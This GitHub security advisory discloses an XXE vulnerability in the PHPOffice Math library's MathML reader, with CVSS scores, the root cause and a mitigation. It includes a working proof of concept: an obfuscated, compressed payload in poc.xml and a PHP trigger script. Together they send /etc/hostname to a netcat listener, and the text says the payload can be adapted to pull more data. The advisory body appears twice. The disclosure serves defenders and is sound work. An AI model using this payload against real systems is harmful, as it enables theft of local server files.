Headline
GHSA-42hm-pq2f-3r7m: PHPOffice Math allows XXE when processing an XML file in the MathML format
Product: Math
Version: 0.2.0
CWE-ID: CWE-611: Improper Restriction of XML External Entity Reference
CVSS vector v.4.0: 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)
CVSS vector v.3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Description: An attacker can create a special XML file, during which it processed, external entities are loaded, and it’s possible to read local server files.
Impact: Local server files reading
Vulnerable component: The loadXML
function with the unsafe LIBXML_DTDLOAD
flag, the MathML
class
Exploitation conditions: The vulnerability applies only to reading a file in the MathML
format.
Mitigation: If there is no option to refuse using the LIBXML_DTDLOAD
flag, it’s recommended to filter external entities through the implementation of the custom external entity loader function
.
Researcher: Aleksandr Zhurnakov (Positive Technologies)
Research
Zero-day vulnerability was discovered in the Math library in the detailed process of the XXE vulnerability research in PHP.
Loading XML data, using the standard libxml
extension and the LIBXML_DTDLOAD
flag without additional filtration, leads to XXE.
Below are steps to reproduce the vulnerability.
- Preparation:
- The payload was tested on the PHP versions >= 8.1.
- The composer manager is used to install the latest version of the Math library.
- PHP has to be configurated with Zlib support.
- The necessary requirements for the Math library must be installed.
- The
netcat
utility is used for demonstration exfiltration.
- Make
math
directory and then moving into it.
mkdir math && cd math
- Install the latest actual version of the library (Figure 1).
composer require phpoffice/math
Figure 1. Installing the library <img width="630" alt="fig2" src="https://github.com/user-attachments/assets/bb0c6781-4f5a-411c-970d-9402e652ad87" />
- Create
poc.xml
file (Listing 1):
Listing 1. Creating poc.xml
xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE x SYSTEM
"php://filter/convert.base64-
decode/zlib.inflate/resource=data:,7Ztdb9owFIbv%2bRVZJ9armNjOZ2k7QUaL%2bRYO2nqFUn
BFNQaMptP272cnNFuTsBbSskg1iATZzvGxn/ccX3A4fdfoecS7UsrK1A98hV5Rr9FVjlaz1UmlcnM7D9i
6MlkufrB1AK79O2bqKltMllMWt96KL6ADwci7sJ4Yu0vr9/tlwKbqan27CPzrOXvevFGrbRvOGIseaCa7
TAxok1x44xahXzQEcdKPKZPevap3RZw920I0VscWGLlU1efPsy0c5cbV1AoI7ZuOMCZW12nkcP9Q2%2bQ
ObBNmL6ajg8s6xJqmJTrq5NIArX6zVk8Zcwwt4fPuLvHnbeBSvpdIQ6g93MvUv3CHqKNrmtEW4EYmCr5g
DT5QzyNWE4x6xO1/aqQmgMhGYgaVDFUnScKltbFnaJoKHRuHK0L1pIkuaYselMe9cPUqRmm5C51u00kkh
y1S3aBougkl7e4d6RGaTYeSehdCjAG/O/p%2bYfKyQsoLmgdlmsFYQFDjh6GWJyGE0ZfMX08EZtwNTdAY
ud7nLcksnwppA2UnqpCzgyDo1QadAU3vLOQZ82EHMxAi0KVcq7rzas5xD6AQoeqkYkgk02abukkJ/z%2b
Nvkj%2bjUy16Ba5d/S8anhBLwt44EgGkoFkIBlIBpKBZCAZSAaSgWQgGUgGkoFkIBlIBpKBZCAZSAaSgW
QgGUgGxWOwW2nF7kt%2by7/Kb3ag2GUTUgBvXAAxiKxt4Is3sB4WniVrOvhwzB0CXerg5GN9esGRQv7Rg
QdMmMO9sIwtc/sIJUOCsY4ee7f7FIWu2Si4euKan8wg58nFsEIXxYGntgZqMog3Z2FrgPhgyzIOlsmijo
wqwb0jyMqMoGEbarqdOpP/iqFISMkSVFG1Z5p8f3OK%2bxAZ7gClpgUPg70rq0T2RIkcup/0newQ7NbcU
Xv/DPl4LL/N7hdfn2dp07pmd8v79YSdVVgwqcyWd8HC/8aOzkunf6r%2b2c8bpSxK/6uPmlf%2br/nSny
rHcduH99iqKiz7HwLxTLMgEM0QWUDjb3ji8NdHPslZmV%2bqR%2bfH56Xyxni1VGbV0m8="
[]><foo></foo>
- Create
math.php
file (Listing 2):
Listing 2. Creating math.php
<?php
require_once "./vendor/autoload.php";
$reader = new \PhpOffice\Math\Reader\MathML();
$reader->read(
file_get_contents('poc.xml')
);
- The payload (see the step 4) is set to exfiltrate the
/etc/hostname
file throughhttp://127.0.0.1:9999/
, so the listening socket is launched at the9999
port (Figure 2)
Figure 2. Launching the listening socket <img width="550" alt="fig2" src="https://github.com/user-attachments/assets/6da5b966-70be-4e3e-9bde-c6baf4dfef34" />
- Execute php-script via console:
php math.php
6 characters from the /etc/hostname
file will be exfiltrated to the 9999
port in base64 format (Figure 3).
Figure 3. Characters exfiltration <img width="520" alt="fig3" src="https://github.com/user-attachments/assets/f0eae873-d156-442f-ab08-12dd94a8dbe9" />
Decode the received data from base64 removing the last M
character (the payload feature) (Figure 4).
Figure 4. Data decoding <img width="595" alt="fig4" src="https://github.com/user-attachments/assets/7a091a07-7856-41a0-b1bd-3d8009303ced" />
- By changing the payload, the remaining file can be received.
Credits
Aleksandr Zhurnakov (Positive Technologies)
Product: Math
Version: 0.2.0
CWE-ID: CWE-611: Improper Restriction of XML External Entity Reference
CVSS vector v.4.0: 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)
CVSS vector v.3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Description: An attacker can create a special XML file, during which it processed, external entities are loaded, and it’s possible to read local server files.
Impact: Local server files reading
Vulnerable component: The loadXML function with the unsafe LIBXML_DTDLOAD flag, the MathML class
Exploitation conditions: The vulnerability applies only to reading a file in the MathML format.
Mitigation: If there is no option to refuse using the LIBXML_DTDLOAD flag, it’s recommended to filter external entities through the implementation of the custom external entity loader function.
Researcher: Aleksandr Zhurnakov (Positive Technologies)
Research
Zero-day vulnerability was discovered in the Math library in the detailed process of the XXE vulnerability research in PHP.
Loading XML data, using the standard libxml extension and the LIBXML_DTDLOAD flag without additional filtration, leads to XXE.
Below are steps to reproduce the vulnerability.
- Preparation:
- The payload was tested on the PHP versions >= 8.1.
- The composer manager is used to install the latest version of the Math library.
- PHP has to be configurated with Zlib support.
- The necessary requirements for the Math library must be installed.
- The netcat utility is used for demonstration exfiltration.
Make math directory and then moving into it.
mkdir math && cd math
Install the latest actual version of the library (Figure 1).
composer require phpoffice/math
Figure 1. Installing the library
- Create poc.xml file (Listing 1):
Listing 1. Creating poc.xml
xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE x SYSTEM
"php://filter/convert.base64-
decode/zlib.inflate/resource=data:,7Ztdb9owFIbv%2bRVZJ9armNjOZ2k7QUaL%2bRYO2nqFUn
BFNQaMptP272cnNFuTsBbSskg1iATZzvGxn/ccX3A4fdfoecS7UsrK1A98hV5Rr9FVjlaz1UmlcnM7D9i
6MlkufrB1AK79O2bqKltMllMWt96KL6ADwci7sJ4Yu0vr9/tlwKbqan27CPzrOXvevFGrbRvOGIseaCa7
TAxok1x44xahXzQEcdKPKZPevap3RZw920I0VscWGLlU1efPsy0c5cbV1AoI7ZuOMCZW12nkcP9Q2%2bQ
ObBNmL6ajg8s6xJqmJTrq5NIArX6zVk8Zcwwt4fPuLvHnbeBSvpdIQ6g93MvUv3CHqKNrmtEW4EYmCr5g
DT5QzyNWE4x6xO1/aqQmgMhGYgaVDFUnScKltbFnaJoKHRuHK0L1pIkuaYselMe9cPUqRmm5C51u00kkh
y1S3aBougkl7e4d6RGaTYeSehdCjAG/O/p%2bYfKyQsoLmgdlmsFYQFDjh6GWJyGE0ZfMX08EZtwNTdAY
ud7nLcksnwppA2UnqpCzgyDo1QadAU3vLOQZ82EHMxAi0KVcq7rzas5xD6AQoeqkYkgk02abukkJ/z%2b
Nvkj%2bjUy16Ba5d/S8anhBLwt44EgGkoFkIBlIBpKBZCAZSAaSgWQgGUgGkoFkIBlIBpKBZCAZSAaSgW
QgGUgGxWOwW2nF7kt%2by7/Kb3ag2GUTUgBvXAAxiKxt4Is3sB4WniVrOvhwzB0CXerg5GN9esGRQv7Rg
QdMmMO9sIwtc/sIJUOCsY4ee7f7FIWu2Si4euKan8wg58nFsEIXxYGntgZqMog3Z2FrgPhgyzIOlsmijo
wqwb0jyMqMoGEbarqdOpP/iqFISMkSVFG1Z5p8f3OK%2bxAZ7gClpgUPg70rq0T2RIkcup/0newQ7NbcU
Xv/DPl4LL/N7hdfn2dp07pmd8v79YSdVVgwqcyWd8HC/8aOzkunf6r%2b2c8bpSxK/6uPmlf%2br/nSny
rHcduH99iqKiz7HwLxTLMgEM0QWUDjb3ji8NdHPslZmV%2bqR%2bfH56Xyxni1VGbV0m8="
[]><foo></foo>
- Create math.php file (Listing 2):
Listing 2. Creating math.php
<?php
require_once "./vendor/autoload.php";
$reader = new \PhpOffice\Math\Reader\MathML();
$reader->read(
file_get_contents('poc.xml')
);
- The payload (see the step 4) is set to exfiltrate the /etc/hostname file through http://127.0.0.1:9999/, so the listening socket is launched at the 9999 port (Figure 2)
Figure 2. Launching the listening socket
Execute php-script via console:
php math.php
6 characters from the /etc/hostname file will be exfiltrated to the 9999 port in base64 format (Figure 3).
Figure 3. Characters exfiltration
Decode the received data from base64 removing the last M character (the payload feature) (Figure 4).
Figure 4. Data decoding
- By changing the payload, the remaining file can be received.
Credits
Aleksandr Zhurnakov (Positive Technologies)
References
- GHSA-42hm-pq2f-3r7m
- PHPOffice/Math@fc31c8f